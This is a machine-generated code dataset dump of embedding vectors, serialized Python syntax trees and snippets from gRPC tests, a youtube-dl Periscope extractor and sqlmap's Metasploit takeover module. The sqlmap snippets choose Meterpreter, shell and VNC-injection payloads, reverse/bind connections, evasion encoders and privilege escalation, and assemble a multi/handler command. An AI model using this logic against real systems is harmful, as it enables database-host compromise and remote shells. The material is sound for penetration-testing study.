[ 0.01021961122751236, 0.0008601706940680742, -0.000008044093192438595, -0.019149718806147575, 0.004459028132259846, -0.0002626834611874074, -0.004169794265180826, 0.021391283720731735, 0.05061599612236023, -0.0010356695856899023, 0.016884051263332367, -0.04266205430030823, -0.0161609649658203...
11
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def testSuccessfulUnaryRequestStreamResponse(self): for (group, method), test_messages_sequence in ( six.iteritems(self._digest.unary_stream_messages_sequences)): for test_messages in test_messages_sequence: request = test_messages.request() response_iterator = self._invoker.blocking(group, method)( request, test_constants.LONG_TIMEOUT) responses = list(response_iterator) test_messages.verify(request, responses, self)
838
[ 0.005049323663115501, 0.0034297292586416006, 0.028495024889707565, -0.01122959703207016, 0.006373887415975332, -0.0029226455371826887, -0.004333260003477335, 0.017480555921792984, 0.04383660852909088, 0.007111463695764542, 0.013731209561228752, -0.038181859999895096, -0.014874452725052834, ...
11
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def testSuccessfulStreamRequestUnaryResponse(self): for (group, method), test_messages_sequence in ( six.iteritems(self._digest.stream_unary_messages_sequences)): for test_messages in test_messages_sequence: requests = test_messages.requests() response, call = self._invoker.blocking(group, method)( iter(requests), test_constants.LONG_TIMEOUT, with_call=True) test_messages.verify(requests, response, self)
839
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11
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def testSequentialInvocations(self): for (group, method), test_messages_sequence in ( six.iteritems(self._digest.unary_unary_messages_sequences)): for test_messages in test_messages_sequence: first_request = test_messages.request() second_request = test_messages.request() first_response = self._invoker.blocking(group, method)( first_request, test_constants.LONG_TIMEOUT) test_messages.verify(first_request, first_response, self) second_response = self._invoker.blocking(group, method)( second_request, test_constants.LONG_TIMEOUT) test_messages.verify(second_request, second_response, self)
840
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def testSuccessfulStreamRequestStreamResponse(self): for (group, method), test_messages_sequence in ( six.iteritems(self._digest.stream_stream_messages_sequences)): for test_messages in test_messages_sequence: requests = test_messages.requests() response_iterator = self._invoker.blocking(group, method)( iter(requests), test_constants.LONG_TIMEOUT) responses = list(response_iterator) test_messages.verify(requests, responses, self)
841
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def testParallelInvocations(self): pool = logging_pool.pool(test_constants.THREAD_CONCURRENCY) for (group, method), test_messages_sequence in ( six.iteritems(self._digest.unary_unary_messages_sequences)): for test_messages in test_messages_sequence: requests = [] response_futures = [] for _ in range(test_constants.THREAD_CONCURRENCY): request = test_messages.request() response_future = pool.submit( self._invoker.blocking(group, method), request, test_constants.LONG_TIMEOUT) requests.append(request) response_futures.append(response_future) responses = [ response_future.result() for response_future in response_futures] for request, response in zip(requests, responses): test_messages.verify(request, response, self) pool.shutdown(wait=True)
842
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def testWaitingForSomeButNotAllParallelInvocations(self): pool = logging_pool.pool(test_constants.THREAD_CONCURRENCY) for (group, method), test_messages_sequence in ( six.iteritems(self._digest.unary_unary_messages_sequences)): for test_messages in test_messages_sequence: requests = [] response_futures_to_indices = {} for index in range(test_constants.THREAD_CONCURRENCY): request = test_messages.request() response_future = pool.submit( self._invoker.blocking(group, method), request, test_constants.LONG_TIMEOUT) requests.append(request) response_futures_to_indices[response_future] = index some_completed_response_futures_iterator = itertools.islice( futures.as_completed(response_futures_to_indices), test_constants.THREAD_CONCURRENCY // 2) for response_future in some_completed_response_futures_iterator: index = response_futures_to_indices[response_future] test_messages.verify(requests[index], response_future.result(), self) pool.shutdown(wait=True)
843
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12
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def testExpiredUnaryRequestStreamResponse(self): for (group, method), test_messages_sequence in ( six.iteritems(self._digest.unary_stream_messages_sequences)): for test_messages in test_messages_sequence: request = test_messages.request() with self._control.pause(), self.assertRaises( face.ExpirationError): response_iterator = self._invoker.blocking(group, method)( request, _3069_test_constant.REALLY_SHORT_TIMEOUT) list(response_iterator)
844
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12
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def testExpiredUnaryRequestUnaryResponse(self): for (group, method), test_messages_sequence in ( six.iteritems(self._digest.unary_unary_messages_sequences)): for test_messages in test_messages_sequence: request = test_messages.request() with self._control.pause(), self.assertRaises( face.ExpirationError): self._invoker.blocking(group, method)( request, _3069_test_constant.REALLY_SHORT_TIMEOUT)
845
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def testExpiredStreamRequestStreamResponse(self): for (group, method), test_messages_sequence in ( six.iteritems(self._digest.stream_stream_messages_sequences)): for test_messages in test_messages_sequence: requests = test_messages.requests() with self._control.pause(), self.assertRaises( face.ExpirationError): response_iterator = self._invoker.blocking(group, method)( iter(requests), _3069_test_constant.REALLY_SHORT_TIMEOUT) list(response_iterator)
846
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def testExpiredStreamRequestUnaryResponse(self): for (group, method), test_messages_sequence in ( six.iteritems(self._digest.stream_unary_messages_sequences)): for test_messages in test_messages_sequence: requests = test_messages.requests() with self._control.pause(), self.assertRaises( face.ExpirationError): self._invoker.blocking(group, method)( iter(requests), _3069_test_constant.REALLY_SHORT_TIMEOUT)
847
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def testFailedUnaryRequestStreamResponse(self): for (group, method), test_messages_sequence in ( six.iteritems(self._digest.unary_stream_messages_sequences)): for test_messages in test_messages_sequence: request = test_messages.request() with self._control.fail(), self.assertRaises(face.RemoteError): response_iterator = self._invoker.blocking(group, method)( request, test_constants.LONG_TIMEOUT) list(response_iterator)
848
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def testFailedUnaryRequestUnaryResponse(self): for (group, method), test_messages_sequence in ( six.iteritems(self._digest.unary_unary_messages_sequences)): for test_messages in test_messages_sequence: request = test_messages.request() with self._control.fail(), self.assertRaises(face.RemoteError): self._invoker.blocking(group, method)( request, test_constants.LONG_TIMEOUT)
849
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def testFailedStreamRequestStreamResponse(self): for (group, method), test_messages_sequence in ( six.iteritems(self._digest.stream_stream_messages_sequences)): for test_messages in test_messages_sequence: requests = test_messages.requests() with self._control.fail(), self.assertRaises(face.RemoteError): response_iterator = self._invoker.blocking(group, method)( iter(requests), test_constants.LONG_TIMEOUT) list(response_iterator)
850
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def testFailedStreamRequestUnaryResponse(self): for (group, method), test_messages_sequence in ( six.iteritems(self._digest.stream_unary_messages_sequences)): for test_messages in test_messages_sequence: requests = test_messages.requests() with self._control.fail(), self.assertRaises(face.RemoteError): self._invoker.blocking(group, method)( iter(requests), test_constants.LONG_TIMEOUT)
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"_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "_sort_formats", "value": {"_type": "Name", "_fields": {"id": "self", "ctx": {"_type": "Load", "_fields": {}}}}}}, "keywords": []}}}}, {"_type": "Return", "_fields": {"value": {"_type": "Dict", "_fields": {"keys": [{"_type": "Constant", "_fields": {"kind": null, "value": "id"}}, {"_type": "Constant", "_fields": {"kind": null, "value": "title"}}, {"_type": "Constant", "_fields": {"kind": null, "value": "timestamp"}}, {"_type": "Constant", "_fields": {"kind": null, "value": "uploader"}}, {"_type": "Constant", "_fields": {"kind": null, "value": "uploader_id"}}, {"_type": "Constant", "_fields": {"kind": null, "value": "thumbnails"}}, {"_type": "Constant", "_fields": {"kind": null, "value": "formats"}}], "values": [{"_type": "BoolOp", "_fields": {"op": {"_type": "Or", "_fields": {}}, "values": [{"_type": "Call", "_fields": {"args": [{"_type": "Constant", "_fields": {"kind": null, "value": "id"}}], "func": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "get", "value": {"_type": "Name", "_fields": {"id": "broadcast", "ctx": {"_type": "Load", "_fields": {}}}}}}, "keywords": []}}, {"_type": "Name", "_fields": {"id": "token", "ctx": {"_type": "Load", "_fields": {}}}}]}}, {"_type": "Name", "_fields": {"id": "title", "ctx": {"_type": "Load", "_fields": {}}}}, {"_type": "Name", "_fields": {"id": "timestamp", "ctx": {"_type": "Load", "_fields": {}}}}, {"_type": "Name", "_fields": {"id": "uploader", "ctx": {"_type": "Load", "_fields": {}}}}, {"_type": "Name", "_fields": {"id": "uploader_id", "ctx": {"_type": "Load", "_fields": {}}}}, {"_type": "Name", "_fields": {"id": "thumbnails", "ctx": {"_type": "Load", "_fields": {}}}}, {"_type": "Name", "_fields": {"id": "formats", "ctx": {"_type": "Load", "_fields": {}}}}]}}}}], "name": "_real_extract", "returns": null, "type_params": [], "type_comment": null, "decorator_list": []}}], "name": "PeriscopeIE", "bases": [{"_type": "Name", "_fields": {"id": "InfoExtractor", "ctx": {"_type": "Load", "_fields": {}}}}], "keywords": [], "type_params": [], "decorator_list": []}}], "type_ignores": []}}
class PeriscopeIE(InfoExtractor): IE_DESC = 'Periscope' _VALID_URL = r'https?://(?:www\.)?periscope\.tv/[^/]+/(?P<id>[^/?#]+)' # Alive example URLs can be found here http://onperiscope.com/ _TESTS = [{ 'url': 'https://www.periscope.tv/w/aJUQnjY3MjA3ODF8NTYxMDIyMDl2zCg2pECBgwTqRpQuQD352EMPTKQjT4uqlM3cgWFA-g==', 'md5': '65b57957972e503fcbbaeed8f4fa04ca', 'info_dict': { 'id': '56102209', 'ext': 'mp4', 'title': 'Bec Boop - 🚠✈️🇬🇧 Fly above #London in Emirates Air Line cable car at night 🇬🇧✈️🚠 #BoopScope 🎀💗', 'timestamp': 1438978559, 'upload_date': '20150807', 'uploader': 'Bec Boop', 'uploader_id': '1465763', }, 'skip': 'Expires in 24 hours', }, { 'url': 'https://www.periscope.tv/w/1ZkKzPbMVggJv', 'only_matching': True, }, { 'url': 'https://www.periscope.tv/bastaakanoggano/1OdKrlkZZjOJX', 'only_matching': True, }] def _call_api(self, method, value): return self._download_json( 'https://api.periscope.tv/api/v2/%s?broadcast_id=%s' % (method, value), value) def _real_extract(self, url): token = self._match_id(url) broadcast_data = self._call_api('getBroadcastPublic', token) broadcast = broadcast_data['broadcast'] status = broadcast['status'] uploader = broadcast.get('user_display_name') or broadcast_data.get('user', {}).get('display_name') uploader_id = broadcast.get('user_id') or broadcast_data.get('user', {}).get('id') title = '%s - %s' % (uploader, status) if uploader else status state = broadcast.get('state').lower() if state == 'running': title = self._live_title(title) timestamp = parse_iso8601(broadcast.get('created_at')) thumbnails = [{ 'url': broadcast[image], } for image in ('image_url', 'image_url_small') if broadcast.get(image)] stream = self._call_api('getAccessPublic', token) formats = [] for format_id in ('replay', 'rtmp', 'hls', 'https_hls'): video_url = stream.get(format_id + '_url') if not video_url: continue f = { 'url': video_url, 'ext': 'flv' if format_id == 'rtmp' else 'mp4', } if format_id != 'rtmp': f['protocol'] = 'm3u8_native' if state == 'ended' else 'm3u8' formats.append(f) self._sort_formats(formats) return { 'id': broadcast.get('id') or token, 'title': title, 'timestamp': timestamp, 'uploader': uploader, 'uploader_id': uploader_id, 'thumbnails': thumbnails, 'formats': formats, }
852
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10
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def _real_extract(self, url): token = self._match_id(url) broadcast_data = self._call_api('getBroadcastPublic', token) broadcast = broadcast_data['broadcast'] status = broadcast['status'] uploader = broadcast.get('user_display_name') or broadcast_data.get('user', {}).get('display_name') uploader_id = broadcast.get('user_id') or broadcast_data.get('user', {}).get('id') title = '%s - %s' % (uploader, status) if uploader else status state = broadcast.get('state').lower() if state == 'running': title = self._live_title(title) timestamp = parse_iso8601(broadcast.get('created_at')) thumbnails = [{ 'url': broadcast[image], } for image in ('image_url', 'image_url_small') if broadcast.get(image)] stream = self._call_api('getAccessPublic', token) formats = [] for format_id in ('replay', 'rtmp', 'hls', 'https_hls'): video_url = stream.get(format_id + '_url') if not video_url: continue f = { 'url': video_url, 'ext': 'flv' if format_id == 'rtmp' else 'mp4', } if format_id != 'rtmp': f['protocol'] = 'm3u8_native' if state == 'ended' else 'm3u8' formats.append(f) self._sort_formats(formats) return { 'id': broadcast.get('id') or token, 'title': title, 'timestamp': timestamp, 'uploader': uploader, 'uploader_id': uploader_id, 'thumbnails': thumbnails, 'formats': formats, }
853
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def _skeletonSelection(self, msg, lst=None, maxValue=1, default=1): if Backend.isOs(OS.WINDOWS): opSys = "windows" else: opSys = "linux" message = "which %s do you want to use?" % msg if lst: for num, data in lst[opSys].items(): description = data[0] if num > maxValue: maxValue = num if "(default)" in description: default = num message += "\n[%d] %s" % (num, description) else: message += " [%d] " % default choice = readInput(message, default="%d" % default) if not choice: if lst: choice = getUnicode(default, UNICODE_ENCODING) else: return default elif not choice.isdigit(): logger.warn("invalid value, only digits are allowed") return self._skeletonSelection(msg, lst, maxValue, default) elif int(choice) > maxValue or int(choice) < 1: logger.warn("invalid value, it must be a digit between 1 and %d" % maxValue) return self._skeletonSelection(msg, lst, maxValue, default) choice = int(choice) if lst: choice = lst[opSys][choice][1] return choice
854
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10
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"_fields": {"ctx": {"_type": "Load", "_fields": {}}, "elts": [{"_type": "Constant", "_fields": {"kind": null, "value": "445/TCP (default)"}}, {"_type": "Constant", "_fields": {"kind": null, "value": "445"}}]}}]}}]}}, "targets": [{"_type": "Attribute", "_fields": {"ctx": {"_type": "Store", "_fields": {}}, "attr": "_msfSMBPortsList", "value": {"_type": "Name", "_fields": {"id": "self", "ctx": {"_type": "Load", "_fields": {}}}}}}], "type_comment": null}}, {"_type": "Assign", "_fields": {"value": {"_type": "Dict", "_fields": {"keys": [{"_type": "Constant", "_fields": {"kind": null, "value": "bind"}}, {"_type": "Constant", "_fields": {"kind": null, "value": "reverse"}}], "values": [{"_type": "Constant", "_fields": {"kind": null, "value": "remote port number"}}, {"_type": "Constant", "_fields": {"kind": null, "value": "local port number"}}]}}, "targets": [{"_type": "Attribute", "_fields": {"ctx": {"_type": "Store", "_fields": {}}, "attr": "_portData", "value": {"_type": "Name", "_fields": {"id": "self", "ctx": {"_type": "Load", "_fields": {}}}}}}], "type_comment": null}}], "name": "_initVars", "returns": null, "type_params": [], "type_comment": null, "decorator_list": []}}], "type_ignores": []}}
def _initVars(self): self.connectionStr = None self.lhostStr = None self.rhostStr = None self.portStr = None self.payloadStr = None self.encoderStr = None self.payloadConnStr = None self.localIP = getLocalIP() self.remoteIP = getRemoteIP() or conf.hostname self._msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli")) self._msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode")) self._msfPayload = normalizePath(os.path.join(conf.msfPath, "msfpayload")) if IS_WIN: _ = normalizePath(os.path.join(conf.msfPath, "..", "scripts", "setenv.bat")) self._msfCli = "%s & ruby %s" % (_, self._msfCli) self._msfEncode = "ruby %s" % self._msfEncode self._msfPayload = "%s & ruby %s" % (_, self._msfPayload) self._msfPayloadsList = { "windows": { 1: ("Meterpreter (default)", "windows/meterpreter"), 2: ("Shell", "windows/shell"), 3: ("VNC", "windows/vncinject"), }, "linux": { 1: ("Shell (default)", "linux/x86/shell"), 2: ("Meterpreter (beta)", "linux/x86/meterpreter"), } } self._msfConnectionsList = { "windows": { 1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"), 2: ("Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports"), 3: ("Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP", "reverse_http"), 4: ("Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS", "reverse_https"), 5: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"), }, "linux": { 1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"), 2: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"), } } self._msfEncodersList = { "windows": { 1: ("No Encoder", "generic/none"), 2: ("Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed"), 3: ("Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper"), 4: ("Avoid UTF8/tolower", "x86/avoid_utf8_tolower"), 5: ("Call+4 Dword XOR Encoder", "x86/call4_dword_xor"), 6: ("Single-byte XOR Countdown Encoder", "x86/countdown"), 7: ("Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov"), 8: ("Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive"), 9: ("Non-Alpha Encoder", "x86/nonalpha"), 10: ("Non-Upper Encoder", "x86/nonupper"), 11: ("Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai"), 12: ("Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed"), 13: ("Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper"), } } self._msfSMBPortsList = { "windows": { 1: ("139/TCP", "139"), 2: ("445/TCP (default)", "445"), } } self._portData = { "bind": "remote port number", "reverse": "local port number", }
855
[ 0.025449682027101517, 0.006122083868831396, 0.02038312889635563, -0.013419868424534798, 0.004352038726210594, -0.017693959176540375, 0.03692087531089783, 0.028710462152957916, 0.017629003152251244, 0.02824278175830841, 0.0033744536340236664, -0.004771003499627113, -0.0023189219646155834, 0...
15
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[]}}, "orelse": [{"_type": "If", "_fields": {"body": [{"_type": "Break", "_fields": {}}], "test": {"_type": "BoolOp", "_fields": {"op": {"_type": "And", "_fields": {}}, "values": [{"_type": "Call", "_fields": {"args": [{"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "MSSQL", "value": {"_type": "Name", "_fields": {"id": "DBMS", "ctx": {"_type": "Load", "_fields": {}}}}}}], "func": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "isDbms", "value": {"_type": "Name", "_fields": {"id": "Backend", "ctx": {"_type": "Load", "_fields": {}}}}}}, "keywords": []}}, {"_type": "Call", "_fields": {"args": [{"_type": "Tuple", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "elts": [{"_type": "Constant", "_fields": {"kind": null, "value": "2005"}}, {"_type": "Constant", "_fields": {"kind": null, "value": "2008"}}]}}], "func": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "isVersionWithin", "value": {"_type": "Name", "_fields": {"id": "Backend", "ctx": {"_type": "Load", "_fields": {}}}}}}, "keywords": []}}]}}, "orelse": []}}]}}], "test": {"_type": "Compare", "_fields": {"ops": [{"_type": "Eq", "_fields": {}}], "left": {"_type": "Name", "_fields": {"id": "choice", "ctx": {"_type": "Load", "_fields": {}}}}, "comparators": [{"_type": "Constant", "_fields": {"kind": null, "value": "1"}}]}}, "orelse": [{"_type": "If", "_fields": {"body": [{"_type": "Expr", "_fields": {"value": {"_type": "Call", "_fields": {"args": [{"_type": "Constant", "_fields": {"kind": null, "value": "invalid value, only digits are allowed"}}], "func": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "warn", "value": {"_type": "Name", "_fields": {"id": "logger", "ctx": {"_type": "Load", "_fields": {}}}}}}, "keywords": []}}}}], "test": {"_type": "UnaryOp", "_fields": {"op": {"_type": "Not", "_fields": {}}, "operand": {"_type": "Call", "_fields": {"args": [], "func": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "isdigit", "value": {"_type": "Name", "_fields": {"id": "choice", "ctx": {"_type": "Load", "_fields": {}}}}}}, "keywords": []}}}}, "orelse": [{"_type": "If", "_fields": {"body": [{"_type": "Expr", "_fields": {"value": {"_type": "Call", "_fields": {"args": [{"_type": "Constant", "_fields": {"kind": null, "value": "invalid value, it must be 1 or 2"}}], "func": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "warn", "value": {"_type": "Name", "_fields": {"id": "logger", "ctx": {"_type": "Load", "_fields": {}}}}}}, "keywords": []}}}}], "test": {"_type": "BoolOp", "_fields": {"op": {"_type": "Or", "_fields": {}}, "values": [{"_type": "Compare", "_fields": {"ops": [{"_type": "Lt", "_fields": {}}], "left": {"_type": "Call", "_fields": {"args": [{"_type": "Name", "_fields": {"id": "choice", "ctx": {"_type": "Load", "_fields": {}}}}], "func": {"_type": "Name", "_fields": {"id": "int", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": []}}, "comparators": [{"_type": "Constant", "_fields": {"kind": null, "value": 1}}]}}, {"_type": "Compare", "_fields": {"ops": [{"_type": "Gt", "_fields": {}}], "left": {"_type": "Call", "_fields": {"args": [{"_type": "Name", "_fields": {"id": "choice", "ctx": {"_type": "Load", "_fields": {}}}}], "func": {"_type": "Name", "_fields": {"id": "int", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": []}}, "comparators": [{"_type": "Constant", "_fields": {"kind": null, "value": 2}}]}}]}}, "orelse": []}}]}}]}}]}}]}}], "test": {"_type": "Constant", "_fields": {"kind": null, "value": true}}, "orelse": []}}], "test": {"_type": "Name", "_fields": {"id": "choose", "ctx": {"_type": "Load", "_fields": {}}}}, "orelse": []}}], "test": {"_type": "Compare", "_fields": {"ops": [{"_type": "Eq", "_fields": {}}], "left": {"_type": "Name", "_fields": {"id": "_payloadStr", "ctx": {"_type": "Load", "_fields": {}}}}, "comparators": [{"_type": "Constant", "_fields": {"kind": null, "value": "windows/vncinject"}}]}}, "orelse": []}}, {"_type": "If", "_fields": {"body": [{"_type": "Assign", "_fields": {"value": {"_type": "BinOp", "_fields": {"op": {"_type": "Mod", "_fields": {}}, "left": {"_type": "Constant", "_fields": {"kind": null, "value": "Reverse HTTP%s connection is only supported "}}, "right": {"_type": "IfExp", "_fields": {"body": {"_type": "Constant", "_fields": {"kind": null, "value": "S"}}, "test": {"_type": "Call", "_fields": {"args": [{"_type": "Constant", "_fields": {"kind": null, "value": "s"}}], "func": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "endswith", "value": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "connectionStr", "value": {"_type": "Name", "_fields": {"id": "self", "ctx": {"_type": "Load", "_fields": {}}}}}}}}, "keywords": []}}, "orelse": {"_type": "Constant", "_fields": {"kind": null, "value": ""}}}}}}, "targets": [{"_type": "Name", "_fields": {"id": "warnMsg", "ctx": {"_type": "Store", "_fields": {}}}}], "type_comment": null}}, {"_type": "AugAssign", "_fields": {"op": {"_type": "Add", "_fields": {}}, "value": {"_type": "Constant", "_fields": {"kind": null, "value": "with the Meterpreter payload. Falling back to "}}, "target": {"_type": "Name", "_fields": {"id": "warnMsg", "ctx": {"_type": "Store", "_fields": {}}}}}}, {"_type": "AugAssign", "_fields": {"op": {"_type": "Add", "_fields": {}}, "value": {"_type": "Constant", "_fields": {"kind": null, "value": "reverse TCP"}}, "target": {"_type": "Name", "_fields": {"id": "warnMsg", "ctx": {"_type": "Store", "_fields": {}}}}}}, {"_type": "Expr", "_fields": {"value": {"_type": "Call", "_fields": {"args": [{"_type": "Name", "_fields": {"id": "warnMsg", "ctx": {"_type": "Load", "_fields": {}}}}], "func": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "warn", "value": {"_type": "Name", "_fields": {"id": "logger", "ctx": {"_type": "Load", "_fields": {}}}}}}, "keywords": []}}}}, {"_type": "Assign", "_fields": {"value": {"_type": "Constant", "_fields": {"kind": null, "value": "reverse_tcp"}}, "targets": [{"_type": "Attribute", "_fields": {"ctx": {"_type": "Store", "_fields": {}}, "attr": "connectionStr", "value": {"_type": "Name", "_fields": {"id": "self", "ctx": {"_type": "Load", "_fields": {}}}}}}], "type_comment": null}}], "test": {"_type": "BoolOp", "_fields": {"op": {"_type": "And", "_fields": {}}, "values": [{"_type": "Call", "_fields": {"args": [{"_type": "Constant", "_fields": {"kind": null, "value": "reverse_http"}}], "func": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "startswith", "value": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "connectionStr", "value": {"_type": "Name", "_fields": {"id": "self", "ctx": {"_type": "Load", "_fields": {}}}}}}}}, "keywords": []}}, {"_type": "Compare", "_fields": {"ops": [{"_type": "NotEq", "_fields": {}}], "left": {"_type": "Name", "_fields": {"id": "_payloadStr", "ctx": {"_type": "Load", "_fields": {}}}}, "comparators": [{"_type": "Constant", "_fields": {"kind": null, "value": "windows/meterpreter"}}]}}]}}, "orelse": []}}, {"_type": "Return", "_fields": {"value": {"_type": "Name", "_fields": {"id": "_payloadStr", "ctx": {"_type": "Load", "_fields": {}}}}}}], "name": "_selectPayload", "returns": null, "type_params": [], "type_comment": null, "decorator_list": []}}], "type_ignores": []}}
def _selectPayload(self): if Backend.isOs(OS.WINDOWS) and conf.privEsc: infoMsg = "forcing Metasploit payload to Meterpreter because " infoMsg += "it is the only payload that can be used to " infoMsg += "escalate privileges via 'incognito' extension, " infoMsg += "'getsystem' command or post modules" logger.info(infoMsg) _payloadStr = "windows/meterpreter" else: _payloadStr = self._skeletonSelection("payload", self._msfPayloadsList) if _payloadStr == "windows/vncinject": choose = False if Backend.isDbms(DBMS.MYSQL): debugMsg = "by default MySQL on Windows runs as SYSTEM " debugMsg += "user, it is likely that the the VNC " debugMsg += "injection will be successful" logger.debug(debugMsg) elif Backend.isDbms(DBMS.PGSQL): choose = True warnMsg = "by default PostgreSQL on Windows runs as " warnMsg += "postgres user, it is unlikely that the VNC " warnMsg += "injection will be successful" logger.warn(warnMsg) elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): choose = True warnMsg = "it is unlikely that the VNC injection will be " warnMsg += "successful because usually Microsoft SQL Server " warnMsg += "%s runs as Network Service " % Backend.getVersion() warnMsg += "or the Administrator is not logged in" logger.warn(warnMsg) if choose: message = "what do you want to do?\n" message += "[1] Give it a try anyway\n" message += "[2] Fall back to Meterpreter payload (default)\n" message += "[3] Fall back to Shell payload" while True: choice = readInput(message, default="2") if not choice or choice == "2": _payloadStr = "windows/meterpreter" break elif choice == "3": _payloadStr = "windows/shell" break elif choice == "1": if Backend.isDbms(DBMS.PGSQL): logger.warn("beware that the VNC injection might not work") break elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): break elif not choice.isdigit(): logger.warn("invalid value, only digits are allowed") elif int(choice) < 1 or int(choice) > 2: logger.warn("invalid value, it must be 1 or 2") if self.connectionStr.startswith("reverse_http") and _payloadStr != "windows/meterpreter": warnMsg = "Reverse HTTP%s connection is only supported " % ("S" if self.connectionStr.endswith("s") else "") warnMsg += "with the Meterpreter payload. Falling back to " warnMsg += "reverse TCP" logger.warn(warnMsg) self.connectionStr = "reverse_tcp" return _payloadStr
856
[ 0.07751034945249557, -0.005818876903504133, 0.02567250281572342, -0.027151023969054222, 0.01826869696378708, 0.00468198349699378, 0.034745246171951294, 0.007868644781410694, 0.021707378327846527, -0.024238785728812218, 0.021180935204029083, -0.01775345392525196, 0.02766626700758934, 0.0135...
9
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def _selectEncoder(self, encode=True): # This is always the case except for --os-bof where the user can # choose which encoder to use. When called from --os-pwn the encoder # is always x86/alpha_mixed - used for sys_bineval() and # shellcodeexec if isinstance(encode, basestring): return encode elif encode: return self._skeletonSelection("payload encoding", self._msfEncodersList)
857
[ 0.005089702550321817, -0.005848223343491554, 0.060591429471969604, 0.003220188431441784, 0.046244386583566666, -0.05558349937200546, -0.01623065210878849, -0.03780760616064072, -0.040740177035331726, -0.028310589492321014, -0.01826089434325695, -0.011104293167591095, 0.040559712797403336, ...
9
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def _selectLhost(self): if self.connectionStr.startswith("reverse"): message = "what is the local address? [%s] " % self.localIP address = readInput(message, default=self.localIP) if not address: address = self.localIP return address elif self.connectionStr.startswith("bind"): return None else: raise SqlmapDataException("unexpected connection type")
858
[ 0.013317152857780457, -0.004562895279377699, 0.06998761743307114, 0.016126874834299088, 0.02740059234201908, -0.04137954115867615, -0.002683458384126425, -0.022083019837737083, -0.03555110841989517, -0.02253582701086998, -0.008156320080161095, -0.02895638905465603, 0.05967756360769272, 0.0...
9
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def _selectRhost(self): if self.connectionStr.startswith("bind"): message = "what is the back-end DBMS address? [%s] " % self.remoteIP address = readInput(message, default=self.remoteIP) if not address: address = self.remoteIP return address elif self.connectionStr.startswith("reverse"): return None else: raise SqlmapDataException("unexpected connection type")
859
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8
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def _prepareIngredients(self, encode=True): self.connectionStr = self._selectConnection() self.lhostStr = self._selectLhost() self.rhostStr = self._selectRhost() self.portStr = self._selectPort() self.payloadStr = self._selectPayload() self.encoderStr = self._selectEncoder(encode) self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr)
860
[ 0.023195728659629822, 0.030025240033864975, 0.06807361543178558, -0.017227597534656525, 0.0029963713604956865, -0.0200701504945755, 0.009192153811454773, -0.0012697662459686399, 0.03799915686249733, 0.024167858064174652, 0.024561630561947823, -0.03895898163318634, 0.02557067573070526, 0.03...
9
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [{"_type": "arg", "_fields": {"arg": "self", "annotation": null, "type_comment": null}}, {"_type": "arg", "_fields": {"arg": "exitfunc", "annotation": null, "type_comment": null}}], "kwarg": null, "vararg": null, "defaults": [{"_type": "Constant", "_fields": {"kind": null, "value": "process"}}], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []}}, "body": [{"_type": "Assign", "_fields": {"value": {"_type": "BinOp", "_fields": {"op": {"_type": "Mod", "_fields": {}}, "left": {"_type": "Constant", "_fields": {"kind": null, "value": "%s multi/handler PAYLOAD=%s"}}, "right": {"_type": "Tuple", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "elts": [{"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "_msfCli", "value": {"_type": "Name", "_fields": {"id": "self", "ctx": {"_type": "Load", "_fields": {}}}}}}, {"_type": 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[], "type_comment": null, "decorator_list": []}}], "type_ignores": []}}
def _forgeMsfCliCmd(self, exitfunc="process"): self._cliCmd = "%s multi/handler PAYLOAD=%s" % (self._msfCli, self.payloadConnStr) self._cliCmd += " EXITFUNC=%s" % exitfunc self._cliCmd += " LPORT=%s" % self.portStr if self.connectionStr.startswith("bind"): self._cliCmd += " RHOST=%s" % self.rhostStr elif self.connectionStr.startswith("reverse"): self._cliCmd += " LHOST=%s" % self.lhostStr else: raise SqlmapDataException("unexpected connection type") if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject": self._cliCmd += " DisableCourtesyShell=true" self._cliCmd += " E"
861
